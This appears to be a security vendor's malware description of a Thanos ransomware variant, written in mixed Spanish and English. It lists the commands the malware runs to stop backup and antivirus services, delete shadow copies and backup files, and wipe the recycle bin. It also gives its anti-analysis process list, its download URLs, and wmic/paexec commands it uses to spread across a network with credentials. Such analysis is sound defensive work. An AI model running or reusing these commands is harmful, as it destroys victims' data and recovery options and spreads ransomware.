Ransom.MSIL.THANOS.YAAK-A

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Se ejecuta y, a continuación, se elimina.

Descarga un archivo desde un determinado localizador uniforme de recursos (URL) y le cambia el nombre posteriormente antes de almacenarlo en el sistema afectado.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

• %User Startup%\mystartup.lnk → points to %User Temp%\HOW_TO_DECYPHER_FILES.txt
• %User Temp%\tmp{4 Hex Characters}.bat → For Mounting FreeDrives & Making Shared Folders Writable

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

Agrega los procesos siguientes:

• powershell.exe Set-MpPreference -EnableControlledFolderAccess Disabled
• net.exe stop avpsus /y
• net.exe stop McAfeeDLPAgentService /y
• net.exe stop mfewc /y
• net.exe stop BMR Boot Service /y
• net.exe stop NetBackup BMR MTFTP Service /y
• net.exe stop DefWatch /y
• net.exe stop ccEvtMgr /y
• net.exe stop ccSetMgr /y
• net.exe stop SavRoam /y
• net.exe stop RTVscan /y
• net.exe stop QBFCService /y
• net.exe stop QBIDPService /y
• net.exe stop Intuit.QuickBooks.FCS /y
• net.exe stop QBCFMonitorService /y
• net.exe stop YooBackup /y
• net.exe stop YooIT /y
• net.exe stop zhudongfangyu /y
• net.exe stop stc_raw_agent /y
• net.exe stop VSNAPVSS /y
• net.exe stop VeeamTransportSvc /y
• net.exe stop VeeamDeploymentService /y
• net.exe stop VeeamNFSSvc /y
• net.exe stop veeam /y
• net.exe stop PDVFSService /y
• net.exe stop BackupExecVSSProvider /y
• net.exe stop BackupExecAgentAccelerator /y
• net.exe stop BackupExecAgentBrowser /y
• net.exe stop BackupExecDiveciMediaService /y
• net.exe stop BackupExecJobEngine /y
• net.exe stop BackupExecManagementService /y
• net.exe stop BackupExecRPCService /y
• net.exe stop AcrSch2Svc /y
• net.exe stop AcronisAgent /y
• net.exe stop CASAD2DWebSvc /y
• net.exe stop CAARCUpdateSvc /y
• net.exe stop sophos /y
• sc.exe config SQLTELEMETRY start= disabled
• sc.exe config SQLTELEMETRY$ECWDB2 start= disabled
• sc.exe config SQLWriter start= disabled
• sc.exe config SstpSvc start= disabled
• taskkill.exe /IM mspub.exe /F
• taskkill.exe /IM mydesktopqos.exe /F
• taskkill.exe /IM mydesktopservice.exe /F
• vssadmin.exe Delete Shadows /all /quiet
• vssadmin.exe resize shadowstorage /for=c: /on=c: /maxsize=401MB
• vssadmin.exe resize shadowstorage /for=c: /on=c: /maxsize=unbounded
• vssadmin.exe resize shadowstorage /for=d: /on=d: /maxsize=401MB
• vssadmin.exe resize shadowstorage /for=d: /on=d: /maxsize=unbounded
• vssadmin.exe resize shadowstorage /for=e: /on=e: /maxsize=401MB
• vssadmin.exe resize shadowstorage /for=e: /on=e: /maxsize=unbounded
• vssadmin.exe resize shadowstorage /for=f: /on=f: /maxsize=401MB
• vssadmin.exe resize shadowstorage /for=f: /on=f: /maxsize=unbounded
• vssadmin.exe resize shadowstorage /for=g: /on=g: /maxsize=401MB
• vssadmin.exe resize shadowstorage /for=g: /on=g: /maxsize=unbounded
• vssadmin.exe resize shadowstorage /for=h: /on=h: /maxsize=401MB
• vssadmin.exe resize shadowstorage /for=h: /on=h: /maxsize=unbounded
• del.exe /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
• del.exe /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
• del.exe /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk
• del.exe /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk
• del.exe /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk
• del.exe /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk
• cmd.exe /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
• %System%\cmd.exe /C %User Temp%\tmp{4 Hex Characters}.bat
• %System%\notepad.exe %Desktop%\HOW_TO_DECYPHER_FILES.txt
• %System%\cmd.exe /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "%s" & Del /f /q "%s"
• %System%\cmd.exe /C choice /C Y /N /D Y /T 3 & Del "{Malware FilePath}\{Malware Filename}"

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

Se ejecuta y, a continuación, se elimina.

Agrega las siguientes exclusiones mutuas para garantizar que solo se ejecuta una de sus copias en todo momento:

• Global\3747bdbf-0ef0-42d8-9234-70d68801f407

Termina su ejecución cuando encuentra los siguientes procesos en la memoria del sistema afectado:

• CFF Explorer
• de4dot
• dnspy
• dnspy-x86
• dotpeek
• dotpeek64
• dumpcap
• effetech http sniffer
• fiddler
• firesheep
• http analyzer stand-alone
• HTTPNetworkSniffer
• ida64
• IEWatch Professional
• ilspy
• intercepter
• Intercepter-NG
• LordPE
• MegaDumper
• NetworkMiner
• NetworkTrafficView
• NoFuserEx
• ollydbg
• PEiD
• pe-sieve
• procexp
• procexp64
• protection_id
• RDG Packer Detector
• sysinternals tcpview
• tcpdump
• UnConfuserEx
• Universal_Fixer
• wireshark
• wireshark portable
• x32dbg
• x64dbg

Otras modificaciones del sistema

Modifica las siguientes entradas de registro:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
CurrentVersion\Policies\System
EnableLinkedConnections = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
CurrentVersion\Policies\System
LocalAccountTokenFilterPolicy = 1

Rutina de descarga

Descarga archivos desde los siguientes localizadores uniformes de recursos (URL) y les cambia el nombre posteriormente antes de almacenarlos en el sistema afectado:

• https://raw.{BLOCKED}usercontent.com/d35ha/ProcessHide/master/bins/ProcessHide{XX}.exe → %User Temp%\{8 Random Characters}.exe
  Where {XX} can be 32 or 64 depending on the OS architecture.
• https://www.{BLOCKED}min.com/paexec/paexec.exe → %User Temp%\{8 Random Characters}.exe

Otros detalles

Cifra los archivos con las extensiones siguientes:

• 7z
• accdb
• aes
• aiff
• asm
• avi
• backup
• bak
• bco
• bz2
• cdx
• cert
• class
• cpp
• cs
• csr
• csv
• dat
• dbf
• dim
• djvu
• doc
• docm
• docx
• dtsx
• dwg
• edb
• eml
• flac
• fpt
• gif
• gpg
• htm
• html
• hwp
• java
• jpeg
• jpg
• key
• lay6
• ldf
• lgb
• log
• lst
• m4a
• mdb
• mdf
• mkv
• mov
• mp3
• mp4
• mpeg
• mrimg
• msg
• myd
• nd
• ndf
• nef
• odb
• odg
• ods
• odt
• one
• ora
• ost
• p12
• pas
• pdf
• pem
• pfx
• php
• png
• ppt
• pptx
• psd
• pst
• qbb
• qbw
• rar
• raw
• rdl
• rtf
• sql
• sqlite3
• sqlitedb
• svg
• sxi
• sxw
• tar
• tbl
• tiff
• tlg
• txt
• vbk
• vbm
• vdi
• vib
• vmdk
• vmx
• vsd
• wav
• xdw
• xls
• xlsm
• xlsx
• zip

Hace lo siguiente:

• It clears Recycle Bin contents
• It makes use of the following commands to hide itself from the following processes:
  • Processes:
    • taskmgr
    • Taskmgr
    • procexp
    • procexp64
    • ProcessHacker
  • Commands:
    • %User Temp%\{8 Random Characters}.exe {Process ID} {Malware Filename}.exe
    • %User Temp%\{8 Random Characters}.exe {Process ID} {Malware Filename}.exe *32
• It encrypts Local Drives and (If ran with administrator privileges) Network Drives.
• To encrypt Network Drives it does the following:
  • It checks if the IP address found starts with:
    • 10.
    • 172.16.
    • 192.168.
  • It copies itself to \\{IP Address}\Users\Public\{Malware Name}.exe
  • It adds the following processes:
    • net.exe user \\{IP Address} /USER:{DOMAIN}\{UserName} {Password}
    • wmic.exe /node:{IP Address} /user:{DOMAIN}\{UserName} /password:{Password} process call create cmd.exe /c \\{IP Address}\Users\Public\{Malware Name}
    • %User Temp%\{8 Random Characters}.exe \\{IP Address} -u {DOMAIN}\{UserName} -p {Password} -d -f -h -s -n 2 -c {Malware FilePath}\{Malware Filename}

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).